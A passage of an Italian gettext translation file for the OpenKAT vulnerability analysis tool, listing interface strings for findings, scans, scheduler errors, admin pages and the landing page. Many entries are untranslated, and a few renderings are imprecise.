tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"Filtra per rilevamenti mutati\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"Ricerca\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"Filtra per tipi\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"Livello di autorizzazione\"\n\n#: tools/forms/ooi.py\nmsgid \"Next scan\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\n#, fuzzy\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"Mostra gli oggetti che non soddisfano il livello di scansione Boefjes\"\n\n#: tools/forms/ooi.py\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"\"\n\"Mostra i Boefjes che superano il livello di autorizzazione degli oggetti\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Expires by (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"opzione\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"Scegli opzionalmente un {option_label}\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"Scegli un {option_label}\"\n\n#: tools/forms/ooi_form.py\n#, fuzzy\nmsgid \"Filter by clearance level\"\nmsgstr \"Imposta il livello di autorizzazione\"\n\n#: tools/forms/ooi_form.py\n#, fuzzy\nmsgid \"Filter by clearance type\"\nmsgstr \"Filtra per tipi di OOI\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"Da\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"A\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"Completato\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"Spedito\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"In coda\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"Cerca per nome oggetto\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"--- Mostra tutto ----\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"raccomandazione\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"basso\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"medio\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"alto\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"molto alto\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"critico\"\n\n#: tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"soluzione rapida\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"Dichiarato\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"Ereditato\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr \"Vuoto\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"Aggiungi un ID di tipo di rilevamento per riga.\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"Aggiungi data e ora del tuo rilevamento (UTC)\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\"OpenKAT registra un'indicazione temporale con ogni osservazione, quindi è \"\n\"possibile vedere lo stato della tua rete nel tempo. Seleziona una data/ora \"\n\"per cambiare la visualizzazione e rappresentare quel momento nel tempo.\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"Profondità dell'albero.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr \"Supportato solo il file CSV\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"Impossibile decodificare il file\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"Nessun file selezionato\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"Il file caricato è vuoto.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"Il numero di colonne non soddisfa i requisiti.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"Il tipo OOI nel CSV non soddisfa i criteri.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"Si è verificato un errore durante l'analisi del file CSV:\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"Carica il file CSV\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"Accetta solo file CSV.\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"Tipo di oggetto\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"Scegli un tipo di oggetto da aggiungere.\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"Tipi MIME\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\"<p>Aggiungi un set di tipi MIME, separati da virgole, ad esempio:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> o <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>I tipi MIME vengono utilizzati per abbinare il Normalizer corretto a un \"\n\"file raw. Quando viene aggiunto il tipo MIME \\\"boefje/dns-records\\\", il \"\n\"Normalizer si aspetta che il file raw contenga informazioni sulla scansione \"\n\"DNS.</p>\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"Carica file raw\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Input or Scan OOI\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\"Questo codice organizzazione è riservato da OpenKAT e non può essere \"\n\"utilizzato. Scegli un altro codice organizzazione.\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"nuovo\"\n\n#: tools/templatetags/ooi_extra.py\nmsgid \"Unknown user\"\nmsgstr \"\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"Membri\"\n\n#: rocky/forms.py\nmsgid \"Current status\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"Attivo\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"Nuovo\"\n\n#: rocky/forms.py\nmsgid \"Account status\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"Non bloccato\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\"Hai affidato a questo membro un livello di autorizzazione di L{}. Questo \"\n\"membro necessita almeno di un livello di autorizzazione di L{} per poter \"\n\"svolgere una corretta integrazione. Modifica questo membro e cambia il \"\n\"livello di autorizzazione se necessario.\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"Blu chiaro\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"Blu medio\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"Blu scuro\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"Verde chiaro\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"Verde medio\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"Verde scuro\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"Giallo chiaro\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"Giallo medio\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"Giallo scuro\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr \"Arancione chiaro\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"Arancione medio\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"Arancione scuro\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"Rosso chiaro\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"Rosso medio\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"Rosso scuro\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"Viola chiaro\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"Viola medio\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"Viola scuro\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"Piano\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"Solido\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"Tratteggiato\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"Puntinato\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"Codice di errore 403: Non autorizzato\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"\"\n\"Il tuo account non è autorizzato ad accedere a questa pagina o \"\n\"organizzazione.\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"Contatta l'amministratore di sistema.\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"Potresti voler tornare indietro alla\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"Crisis Room\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"Codice di errore 404: Pagina non trovata\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"\"\n\"La pagina che volevi vedere o il file che volevi visualizzare non è stato \"\n\"trovato.\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"Breadcrumb\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"Filtro\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"Chiudi menu\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"Navigazione principale\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"Indennizzi\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"Logout\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"Benvenuto\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"avviso\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"Codice organizzazione mancante\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"Aggiungi tipo di rilevamento\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"Tipo di Rilevamento\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"Aggiungi rilevamento\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings @ \"\nmsgstr \"Risultati @ \"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\"Una panoramica di tutte le scoperte che OpenKAT ha trovato per \"\n\"l'organizzazione <strong>%(organization_name)s</strong>. Ogni scoperta è \"\n\"relativa a un oggetto. Clicca su una scoperta per ulteriori informazioni.\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"Silenzia rilevamenti\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Unmute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"Imposta filtri\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"Cancella filtri\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"Informativa sulla Privacy\"\n\n#: rocky/templates/forms/json_schema_form.html\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\"Fai clic su un cerchio in alto per chiudere / espandere l'albero, fai clic \"\n\"sul testo per visualizzare l'albero da quell'OOI e posiziona il mouse sul \"\n\"testo per vedere i dettagli.\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"Grafico ad albero\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"Menu\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"Logo di OpenKAT, vai alla homepage di OpenKAT\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"Attività\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"Controlli di Salute\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"Aggiuntivo\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"Indennizzo\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\"Indennizzo sull'organizzazione presente. Ora puoi aggiungere oggetti e \"\n\"iniziare scansioni.\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"Vai a\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"Benvenuti in OpenKAT\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"Strumento di Analisi delle Vulnerabilità\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"Cos'è OpenKAT?\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\"OpenKAT è uno strumento di analisi delle vulnerabilità. Un progetto Open \"\n\"Source sviluppato dal Ministero della Salute, del Benessere e dello Sport \"\n\"per rendere più sicuro il nostro mondo e il tuo.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"OpenKAT vede\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"OpenKAT sa\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\"OpenKAT non dimentica (così facilmente) e può essere interrogato senza \"\n\"eseguire una nuova scansione. Anche per quanto riguarda una situazione \"\n\"storica.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"OpenKAT è sicuro\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"\"\n\"La memorizzazione forense sicura delle prove è uno degli ingredienti di base \"\n\"di OpenKAT.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"OpenKAT è sicuro\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\"OpenKAT pensa alla privacy e conserva ciò che è necessario, nel rispetto \"\n\"delle regole della tua organizzazione e della legge.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"Un ampio campo di gioco\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\"OpenKAT crea una copia della realtà attuale mediante gli strumenti \"\n\"integrati. All'interno di questa copia puoi cercare risposte a innumerevoli \"\n\"domande di sicurezza e politica. Le modifiche attese e impreviste nel mondo \"\n\"vengono rese visibili e, se necessario, segnalate o rese note direttamente \"\n\"alle persone giuste.\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"OpenKAT Privacy Statement\"\nmsgstr \"Informativa sulla Privacy di OpenKAT\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\"OpenKAT è dedicato a proteggere la riservatezza e la privacy delle \"\n\"informazioni affidate a esso. Come parte di questo obbligo fondamentale, \"\n\"OpenKAT si impegna a proteggere e utilizzare adeguatamente le informazioni \"\n\"personali (a volte denominate \\\"dati personali\\\", \\\"informazioni \"\n\"personalmente identificabili\\\" o \\\"PII\\\") raccolte online.\"\n\n#: rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"Elenco Oggetti\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"Si è verificato un errore. Contattare un amministratore di sistema.\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"Aggiungi un %(display_type)s\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\"Qui è possibile aggiungere l'asset del cliente. I rilevamenti possono essere \"\n\"aggiunti a questi nella pagina dei rilevamenti.\"\n\n#: rocky/templates/oois/ooi_add.html\n#, 